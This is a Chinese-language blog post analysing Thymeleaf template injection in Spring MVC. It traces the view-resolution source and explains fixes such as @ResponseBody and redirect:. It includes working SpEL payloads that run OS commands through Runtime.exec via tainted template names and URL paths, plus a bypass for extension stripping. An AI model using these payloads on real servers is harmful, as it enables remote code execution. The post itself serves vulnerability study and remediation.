Thymeleaf SSTI漏洞分析
前言
最近看到某平台上有一篇关于SSTI的文章,之前也没了解过SSTI的漏洞,因此决定写篇文章记录学习过程。
模板引擎
要了解SSTI漏洞,首先要对模板引擎有所了解。下面是模板引擎的几个相关概念。
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的文档。
模板引擎的本质是将模板文件和数据通过模板引擎生成最终的HTML代码。
模板引擎不属于特定技术领域,它是跨领域跨平台的概念。
模板引擎的出现是为了解决前后端分离的问题,拿JSP的举个栗子,JSP
本身也算是一种模板引擎,在JSP
访问的过程中编译器会识别JSP的标签,如果是JSP
的内容则动态的提取并将执行结果替换,如果是HTML
的内容则原样输出。
xxx.jsp
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>Insert title here</title> </head> <body> <%=111*111%> </body> </html>
上面的代码经过JSP
引擎编译后,HTML
部分直接输出,而使用JSP
标签部分则是经过了解析后的结果。
out.write("<!DOCTYPE html>\r\n"); out.write("<html>\r\n"); out.write("<head>\r\n"); out.write("<meta charset=\"UTF-8\">\r\n"); out.write("<title>Insert title here</title>\r\n"); out.write("</head>\r\n"); out.write("<body>\r\n"); //解析后的结果 out.print(111*111); out.write("\r\n"); out.write("</body>\r\n"); out.write("</html>");
既然JSP已经是一个模板引擎了为什么后面还要推出其他的模板引擎?
- 动态资源和静态资源全部耦合在一起,还是需要在
JSP
文件中写一些后端代码,这其实比较尴尬,所以导致很多JAVA开发不能专注于JAVA开发还需要写一些前端代码。 - 第一次请求jsp,必须要在web服务器中编译成servlet,第一次运行会较慢。
- 每次请求jsp都是访问servlet再用输出流输出的html页面,效率没有直接使用html高。
- 如果jsp中的内容很多,页面响应会很慢,因为是同步加载。
- jsp只能运行在web容器中,无法运行在nginx这样的高效的http服务上。
- 使用模板引擎的好处是什么?
- 模板设计好后可以直接填充数据使用,不需要重新设计页面,增强了代码的复用性
Thymeleaf
Thymeleaf
是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:
- Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
- Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
- Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。
语法
既然Thymeleaf
也使用的html
,那么如何区分哪些是Thymeleaf
的html
?
在Thymeleaf
的html
中首先要加上下面的标识。
<html xmlns:th="http://www.thymeleaf.org">
标签
Thymeleaf
提供了一些内置标签,通过标签来实现特定的功能。
标签作用示例th:id替换id<input th:id="${user.id}"/>
th:text文本替换<p text:="${user.name}">bigsai</p>
th:utext支持html的文本替换<p utext:="${htmlcontent}">content</p>
th:object替换对象<div th:object="${user}"></div>
th:value替换值<input th:value="${user.name}" >
th:each迭代<tr th:each="student:${user}" >
th:href替换超链接<a th:href="@{index.html}">超链接</a>
th:src替换资源<script type="text/javascript" th:src="@{index.js}"></script>
链接表达式
在Thymeleaf
中,如果想引入链接比如link,href,src,需要使用@{资源地址}
引入资源。引入的地址可以在static
目录下,也可以司互联网中的资源。
<link rel="stylesheet" th:href="@{index.css}"> <script type="text/javascript" th:src="@{index.js}"></script> <a th:href="@{index.html}">超链接</a>
变量表达式
可以通过${…}
在model中取值,如果在Model
中存储字符串,则可以通过${对象名}
直接取值。
public String getindex(Model model)//对应函数 { //数据添加到model中 model.addAttribute("name","bigsai");//普通字符串 return "index";//与templates中index.html对应 } <td th:text="'我的名字是:'+${name}"></td>
取JavaBean对象使用${对象名.对象属性}
或者${对象名['对象属性']}
来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}
取值。
public String getindex(Model model)//对应函数 { user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年"); model.addAttribute("user",user1);//储存javabean return "index";//与templates中index.html对应 } <td th:text="${user.name}"></td> <td th:text="${user['age']}"></td> <td th:text="${user.getDetail()}"></td>
取Map对象使用${Map名['key']}
或${Map名.key}
。
@GetMapping("index")//页面的url地址 public String getindex(Model model)//对应函数 { Map<String ,String>map=new HashMap<>(); map.put("place","博学谷"); map.put("feeling","very well"); //数据添加到model中 model.addAttribute("map",map);//储存Map return "index";//与templates中index.html对应 } <td th:text="${map.get('place')}"></td> <td th:text="${map['feeling']}"></td>
取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">
@GetMapping("index")//页面的url地址 public String getindex(Model model)//对应函数 { List<String>userList=new ArrayList<>(); userList.add("zhang san 66"); userList.add("li si 66"); userList.add("wang wu 66"); //数据添加到model中 model.addAttribute("userlist",userList);//储存List return "index";//与templates中index.html对应 } <tr th:each="item:${userlist}"> <td th:text="${item}"></td> </tr>
选择变量表达式
变量表达式也可以写为*{...}
。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…}
)和星号(*{...}
)的语法就完全一样。
<div th:object="${user}"> <p>Name: <span th:text="*{name}">赛</span>.</p> <p>Age: <span th:text="*{age}">18</span>.</p> <p>Detail: <span th:text="*{detail}">好好学习</span>.</p> </div>
消息表达式
文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}
语法就是用来
读取配置文件中数据 的。
片段表达式
片段表达式~{...}
可以用于引用公共的目标片段,比如可以在一个template/footer.html
中定义下面的片段,并在另一个template中引用。
<div th:fragment="copy"> © 2011 The Good Thymes Virtual Grocery </div> <div th:insert="~{footer :: copy}"></div>
Demo
为了能快速对Thymeleaf
上手,我们可以先写一个Demo直观的看到Thymeleaf
的使用效果。
首先创建一个SpringBoot
项目,在模板处选择Thymeleaf
。
创建好的目录结构如下,可以在templates
中创建html
模板文件。
编写Controller
@Controller public class urlController { @GetMapping("index")//页面的url地址 public String getindex(Model model)//对应函数 { model.addAttribute("name","bigsai"); return "index";//与templates中index.html对应 } }
在templates
下创建模板文件index.html
<!DOCTYPE html> <html xmlns:th="http://www.thymeleaf.org"> <head> <meta charset="UTF-8"> <title>title</title> </head> <body> hello 第一个Thymeleaf程序 <div th:text="${name}"></div> </body> </html>
启动程序访问/index
SpringMVC 视图解析过程分析
视图解析的过程是发生在Controller处理后,Controller处理结束后会将返回的结果封装为ModelAndView
对象,再通过视图解析器ViewResovler
得到对应的视图并返回。分析的栗子使用上面的Demo。
封装ModelAndView对象
在ServletInvocableHandlerMethod#invokeAndHandle
中,做了如下操作:
invokeForRequest
调用Controller后获取返回值到returnValue
中- 判断
returnValue
是否为空,如果是则继续判断0RequestHandled
是否为True
,都满足的话设置requestHandled
为true
- 通过
handleReturnValue
根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer
中。
public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer, Object... providedArgs) throws Exception { //调用Controller后获取返回值到returnValue中 Object returnValue = this.invokeForRequest(webRequest, mavContainer, providedArgs); this.setResponseStatus(webRequest); //判断returnValue是否为空 if (returnValue == null) { //判断RequestHandled是否为True if (this.isRequestNotModified(webRequest) || this.getResponseStatus() != null || mavContainer.isRequestHandled()) { this.disableContentCachingIfNecessary(webRequest); //设置RequestHandled属性 mavContainer.setRequestHandled(true); return; } } else if (StringUtils.hasText(this.getResponseStatusReason())) { mavContainer.setRequestHandled(true); return; } mavContainer.setRequestHandled(false); Assert.state(this.returnValueHandlers != null, "No return value handlers"); try { //通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。 this.returnValueHandlers.handleReturnValue(returnValue, this.getReturnValueType(returnValue), mavContainer, webRequest); } catch (Exception var6) { if (logger.isTraceEnabled()) { logger.trace(this.formatErrorForReturnValue(returnValue), var6); } throw var6; }
下面分析handleReturnValue
方法。
selectHandler
根据返回值和类型找到不同的HandlerMethodReturnValueHandler
,这里得到了ViewNameMethodReturnValueHandler
,具体怎么得到的就不分析了。- 调用
handler.handleReturnValue
,这里得到不同的HandlerMethodReturnValueHandler
处理的方式也不相同。
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { //获取handler HandlerMethodReturnValueHandler handler = this.selectHandler(returnValue, returnType); if (handler == null) { throw new IllegalArgumentException("Unknown return value type: " + returnType.getParameterType().getName()); } else { //执行handleReturnValue操作 handler.handleReturnValue(returnValue, returnType, mavContainer, webRequest); } }
ViewNameMethodReturnValueHandler#handleReturnValue
- 判断返回值类型是否为字符型,设置
mavContainer.viewName
- 判断返回值是否以
redirect:
开头,如果是的话则设置重定向的属性
public void handleReturnValue(@Nullable Object returnValue, MethodParameter returnType, ModelAndViewContainer mavContainer, NativeWebRequest webRequest) throws Exception { if (returnValue instanceof CharSequence) { String viewName = returnValue.toString(); //设置返回值为viewName mavContainer.setViewName(viewName); //判断是否需要重定向 if (this.isRedirectViewName(viewName)) { mavContainer.setRedirectModelScenario(true); } } else if (returnValue != null) { throw new UnsupportedOperationException("Unexpected return type: " + returnType.getParameterType().getName() + " in method: " + returnType.getMethod()); } }
通过上面的操作,将返回值设置为mavContainer.viewName
,执行上述操作后返回到RequestMappingHandlerAdapter#invokeHandlerMethod
中。通过getModelAndView
获取ModelAndView
对象。
protected ModelAndView invokeHandlerMethod(HttpServletRequest request, HttpServletResponse response, HandlerMethod handlerMethod) throws Exception { ... ModelAndView var15; invocableMethod.invokeAndHandle(webRequest, mavContainer, new Object[0]); if (asyncManager.isConcurrentHandlingStarted()) { result = null; return (ModelAndView)result; } //获取ModelAndView对象 var15 = this.getModelAndView(mavContainer, modelFactory, webRequest); } finally { webRequest.requestCompleted(); } return var15; }
getModelAndView
根据viewName
和model
创建ModelAndView
对象并返回。
private ModelAndView getModelAndView(ModelAndViewContainer mavContainer, ModelFactory modelFactory, NativeWebRequest webRequest) throws Exception { modelFactory.updateModel(webRequest, mavContainer); //判断RequestHandled是否为True,如果是则不会创建ModelAndView对象 if (mavContainer.isRequestHandled()) { return null; } else { ModelMap model = mavContainer.getModel(); //创建ModelAndView对象 ModelAndView mav = new ModelAndView(mavContainer.getViewName(), model, mavContainer.getStatus()); if (!mavContainer.isViewReference()) { mav.setView((View)mavContainer.getView()); } if (model instanceof RedirectAttributes) { Map<String, ?> flashAttributes = ((RedirectAttributes)model).getFlashAttributes(); HttpServletRequest request = (HttpServletRequest)webRequest.getNativeRequest(HttpServletRequest.class); if (request != null) { RequestContextUtils.getOutputFlashMap(request).putAll(flashAttributes); } } return mav; } }
获取视图
获取ModelAndView
后,通过DispatcherServlet#render
获取视图解析器并渲染。
protected void render(ModelAndView mv, HttpServletRequest request, HttpServletResponse response) throws Exception { Locale locale = this.localeResolver != null ? this.localeResolver.resolveLocale(request) : request.getLocale(); response.setLocale(locale); String viewName = mv.getViewName(); View view; if (viewName != null) { //获取视图解析器 view = this.resolveViewName(viewName, mv.getModelInternal(), locale, request); if (view == null) { throw new ServletException("Could not resolve view with name '" + mv.getViewName() + "' in servlet with name '" + this.getServletName() + "'"); } } else { view = mv.getView(); if (view == null) { throw new ServletException("ModelAndView [" + mv + "] neither contains a view name nor a View object in servlet with name '" + this.getServletName() + "'"); } } if (this.logger.isTraceEnabled()) { this.logger.trace("Rendering view [" + view + "] "); } try { if (mv.getStatus() != null) { response.setStatus(mv.getStatus().value()); } //渲染 view.render(mv.getModelInternal(), request, response); } catch (Exception var8) { if (this.logger.isDebugEnabled()) { this.logger.debug("Error rendering view [" + view + "]", var8); } throw var8; } }
获取视图解析器在DispatcherServlet#resolveViewName
中完成,循环遍历所有视图解析器解析视图,解析成功则返回。
protected View resolveViewName(String viewName, @Nullable Map<String, Object> model, Locale locale, HttpServletRequest request) throws Exception { if (this.viewResolvers != null) { Iterator var5 = this.viewResolvers.iterator(); //循环遍历所有的视图解析器获取视图 while(var5.hasNext()) { ViewResolver viewResolver = (ViewResolver)var5.next(); View view = viewResolver.resolveViewName(viewName, locale); if (view != null) { return view; } } } return null; }
在Demo
中有5个视图解析器。
本以为会在ThymeleafViewResolver
中获取视图,实际调试发现ContentNegotiatingViewResolver
中已经获取到了视图。
ContentNegotiatingViewResolver
视图解析器允许使用同样的数据获取不同的View。支持下面三种方式。
- 使用扩展名
- http://localhost:8080/employees/nego/Jack.xml
- 返回结果为XML
- http://localhost:8080/employees/nego/Jack.json
- 返回结果为JSON
- http://localhost:8080/employees/nego/Jack
- 使用默认view呈现,比如JSP
- HTTP Request Header中的Accept,Accept 分别是 text/jsp, text/pdf, text/xml, text/json, 无Accept 请求头
- 使用参数
- http://localhost:8080/employees/nego/Jack?format=xml
- 返回结果为XML
- http://localhost:8080/employees/nego/Jack?format=json
- 返回结果为JSON
ContentNegotiatingViewResolver#resolveViewName
getCandidateViews
循环调用所有的ViewResolver解析视图,解析成功放到视图列表中返回。同样也会根据Accept头得到后缀并通过ViewResolver解析视图。getBestView
根据Accept头获取最优的视图返回。
public View resolveViewName(String viewName, Locale locale) throws Exception { RequestAttributes attrs = RequestContextHolder.getRequestAttributes(); Assert.state(attrs instanceof ServletRequestAttributes, "No current ServletRequestAttributes"); List<MediaType> requestedMediaTypes = this.getMediaTypes(((ServletRequestAttributes)attrs).getRequest()); if (requestedMediaTypes != null) { //获取可以解析当前视图的列表。 List<View> candidateViews = this.getCandidateViews(viewName, locale, requestedMediaTypes); //根据Accept头获取一个最优的视图返回 View bestView = this.getBestView(candidateViews, requestedMediaTypes, attrs); if (bestView != null) { return bestView; } } ... }
视图渲染
得到View后,调用render方法渲染,也就是ThymleafView#render
渲染。render
方法中又通过调用renderFragment
完成实际的渲染工作。
漏洞复现
我这里使用 spring-view-manipulation 项目来做漏洞复现。
templatename
漏洞代码
@GetMapping("/path") public String path(@RequestParam String lang) { return "user/" + lang + "/welcome"; //template path is tainted }
POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
漏洞原理
在renderFragment
渲染的过程中,存在如下代码。
- 当TemplateName中不包含
::
则将viewTemplateName
赋值给templateName
。 - 如果包含
::
则代表是一个片段表达式,则需要解析templateName
和markupSelectors
。
protected void renderFragment(Set<String> markupSelectorsToRender, Map<String, ?> model, HttpServletRequest request, HttpServletResponse response) throws Exception { ... //viewTemplateName中包含::则当作片段表达式执行 if (!viewTemplateName.contains("::")) { templateName = viewTemplateName; markupSelectors = null; } else { IStandardExpressionParser parser = StandardExpressions.getExpressionParser(configuration); FragmentExpression fragmentExpression; try { // 根据viewTemplateName得到FragmentExpression fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}"); } catch (TemplateProcessingException var25) { throw new IllegalArgumentException("Invalid template name specification: '" + viewTemplateName + "'"); } //创建ExecutedFragmentExpression ExecutedFragmentExpression fragment = FragmentExpression.createExecutedFragmentExpression(context, fragmentExpression); //获取templateName和markupSelectors templateName = FragmentExpression.resolveTemplateName(fragment); markupSelectors = FragmentExpression.resolveFragments(fragment); Map<String, Object> nameFragmentParameters = fragment.getFragmentParameters(); if (nameFragmentParameters != null) { if (fragment.hasSyntheticParameters()) { throw new IllegalArgumentException("Parameters in a view specification must be named (non-synthetic): '" + viewTemplateName + "'"); } context.setVariables(nameFragmentParameters); } } ... viewTemplateEngine.process(templateName, processMarkupSelectors, context, (Writer)templateWriter); }
比如当viewTemplateName为welcome :: header
则会将welcome解析为templateName,将header解析为markupSelectors。
上面只是分析了为什么要根据::
做不同的处理,并不涉及到漏洞,但是当视图名中包含::
会执行下面的代码。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
在StandardExpressionParser#parseExpression
中会通过preprocess
进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_
提取__xx__
间的内容,获取expression
并执行execute
方法。
private static final Pattern PREPROCESS_EVAL_PATTERN = Pattern.compile("\\_\\_(.*?)\\_\\_", 32); static String preprocess(IExpressionContext context, String input) { if (input.indexOf(95) == -1) { return input; } else { IStandardExpressionParser expressionParser = StandardExpressions.getExpressionParser(context.getConfiguration()); if (!(expressionParser instanceof StandardExpressionParser)) { return input; } else { Matcher matcher = PREPROCESS_EVAL_PATTERN.matcher(input); if (!matcher.find()) { return checkPreprocessingMarkUnescaping(input); } else { StringBuilder strBuilder = new StringBuilder(input.length() + 24); int curr = 0; String remaining; do { remaining = checkPreprocessingMarkUnescaping(input.substring(curr, matcher.start(0))); //提取__之间的内容 String expressionText = checkPreprocessingMarkUnescaping(matcher.group(1)); strBuilder.append(remaining); //获取expression IStandardExpression expression = StandardExpressionParser.parseExpression(context, expressionText, false); if (expression == null) { return null; } //执行execute方法 Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED); strBuilder.append(result); curr = matcher.end(0); } while(matcher.find()); remaining = checkPreprocessingMarkUnescaping(input.substring(curr)); strBuilder.append(remaining); return strBuilder.toString().trim(); }
execute
经过层层调用最终通过SPEL执行表达式的内容。
也就是说这个漏洞本质上是SPEL
表达式执行。
URI PATH
下面的情况也可以触发漏洞,这个可能很多师傅和我一样都觉得很奇怪,这个并没有返回值,理论上是不会执行的。
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
前面我们分析了SpingMVC
视图解析的过程,在解析视图首先获取返回值并封装为ModleAndView
,而在当前当前环境中并没有返回值,按理说ModelAndView
应该为空,为什么还能正常得到ModleAndView
呢?
原因主要在DispatcherServlet#doDispatch
中,获取ModleAndView
后还会执行applyDefaultViewName
方法。
protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception { ... mv = ha.handle(processedRequest, response, mappedHandler.getHandler()); if (asyncManager.isConcurrentHandlingStarted()) { return; } this.applyDefaultViewName(processedRequest, mv); }
applyDefaultViewName
中判断当ModelAndView
为空,则通过getDefaultViewName
获取请求路径作为ViewName
。这也是在urlPath
中传入Payload可以执行的原因。
private void applyDefaultViewName(HttpServletRequest request, @Nullable ModelAndView mv) throws Exception { if (mv != null && !mv.hasView()) { String defaultViewName = this.getDefaultViewName(request); if (defaultViewName != null) { mv.setViewName(defaultViewName); } } }
但是需要注意的是如果要在urlPath
中传入payload,则不能有返回值,否则就不会调用applyDefaultViewName
设置了。下面的方式将不会导致代码执行。
@GetMapping("/doc/{document}") public String getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); return "welcome"; }
回显失败问题分析
当在URL PATH中使用下面的POC会拿不到结果。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
经过分析问题主要是在StandardExpressionParser#parseExpression
,在preprocess
预处理结束后还会通过Expression.parse
进行一次解析,这里如果解析失败则不会回显。
static IStandardExpression parseExpression(IExpressionContext context, String input, boolean preprocess) { IEngineConfiguration configuration = context.getConfiguration(); String preprocessedInput = preprocess ? StandardExpressionPreprocessor.preprocess(context, input) : input; IStandardExpression cachedExpression = ExpressionCache.getExpressionFromCache(configuration, preprocessedInput); if (cachedExpression != null) { return cachedExpression; } else { Expression expression = Expression.parse(preprocessedInput.trim()); if (expression == null) { throw new TemplateProcessingException("Could not parse as expression: \"" + input + "\""); } else { ExpressionCache.putExpressionIntoCache(configuration, preprocessedInput, expression); return expression; } } }
使用上面的POC
,parse
的内容如下,这里可以看到::
后没有内容,因此这里肯定是会失败的。
而在templatename
那个Demo中,parse
内容如下是::
后是有内容的。所以能否回显的关键就是Expression.parse
能否正常执行。
但是我们在URL PATH的POC中也设置了::.x为什么会被去掉呢?
在分析URL PATH
这种方式能获取ModelAndView
的原因时,我们分析过会在applyDefaultViewName
中获取URL
Path作为ModelAndView
的name,这个操作在getViewName
中完成,getLookupPathForRequest
仅仅获取了请求的地址并没有对后面的.x
做处理,处理主要是在transformPath
中完成的。
public String getViewName(HttpServletRequest request) { String lookupPath = this.urlPathHelper.getLookupPathForRequest(request, HandlerMapping.LOOKUP_PATH); return this.prefix + this.transformPath(lookupPath) + this.suffix; }
transformPath
中通过stripFilenameExtension
去除后缀,是这部分导致了.x
后内容为空。
protected String transformPath(String lookupPath) { String path = lookupPath; if (this.stripLeadingSlash && lookupPath.startsWith("/")) { path = lookupPath.substring(1); } if (this.stripTrailingSlash && path.endsWith("/")) { path = path.substring(0, path.length() - 1); } // if (this.stripExtension) { path = StringUtils.stripFilenameExtension(path); } if (!"/".equals(this.separator)) { path = StringUtils.replace(path, "/", this.separator); } return path; }
stripFilenameExtension
去除最后一个.
后的内容,所以可以通过下面的方式绕过。
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()%7d__::assadasd.asdas
漏洞修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}") @ResponseBody public void getDocument(@PathVariable String document) { log.info("Retrieving " + document); //returns void, so view name is taken from URI }
配置了ResponseBody
注解确实无法触发,经过调试在applyDefaultViewName
中ModelAndView
是Null
而非ModelAndView
对象,所以hasView()
会导致异常,不会设置视图名。
所以我们要分析创建ModelAndView
对象的方法,也就是getModelAndView
,这里requestHandled
设置为True
时会返回Null,而不会创建视图。
当我们设置了ResponseBody
注解后,handler返回的是RequestResponseBodyMethodProcesser
,所以这里会调用它的handleReturnValue
,设置了RequestHandled
属性为True。
配置RestController
修复和这种方式类似,也是由于使用RequestResponseBodyMethodProcesser
设置了RequestHandled
属性导致不能得到ModelAndView
对象了。
有小伙伴可能要问,上面只是讲的URL PATH
中的修复,templatename
中这种方式也能修复嘛?答案是肯定的,根本原因在设置了RequestHandled
属性后,ModelAndView
一定会返回Null。
通过redirect:
根据springboot定义,如果名称以redirect:
开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller
的返回值
所以配置redirect:
主要影响的是获取视图的部分。在ThymeleafViewResolver#createView
中,如果视图名以redirect:
开头,则会创建RedirectView
并返回。所以不会使用ThymeleafView
解析。
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}") public void getDocument(@PathVariable String document, HttpServletResponse response) { log.info("Retrieving " + document); }
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
首先声明下 这种方式只对返回值为空的情况下有效,也就是URL PATH
的方式 ,下面我会解释一下原因。
设置了HttpServletResponse
后也是设置requestHandled
设置为True导致在applyDefaultViewName
无法设置默认的ViewName。
但是它的设置是在ServletInvocableHandlerMethod#invokeAndHandle
中。由于mavContainer.isRequestHandled()
被设置为True,所以进入到IF语句中设置了requestHandled
属性,但是这里的前提条件是returnValue
为空,所以这种修复方法只有在返回值为空的情况下才有效。
requestHandled
的属性设置在HandlerMethodArgumentResolverComposite#resolveArgument
解析参数时,这里不同的传参方式获得的ArgumentResolver
是不同的,比如没加HttpServletResponse
时得到的是PathVariableMethodArgumentResolver
。
加上后会对HttpServletResponse
也进行参数解析,解析后的结果为ServletResponseMethodArgumentResolver
,在它的resolveArgument
方法中,会设置requestHandled
属性。
总结
Thymeleaf
模板注入和我理解的不太一样,之前以为这种模板注入应该是解析特定标签时候导致的问题。
从修复的角度来讲使用@ResponseBody
或者@RestController
更容易修复漏洞,而设置HttpServletResponse
有一定的局限性,对templatename
的方式无用。
参考
- Java安全之Thymeleaf SSTI分析
- Thymeleaf一篇就够了
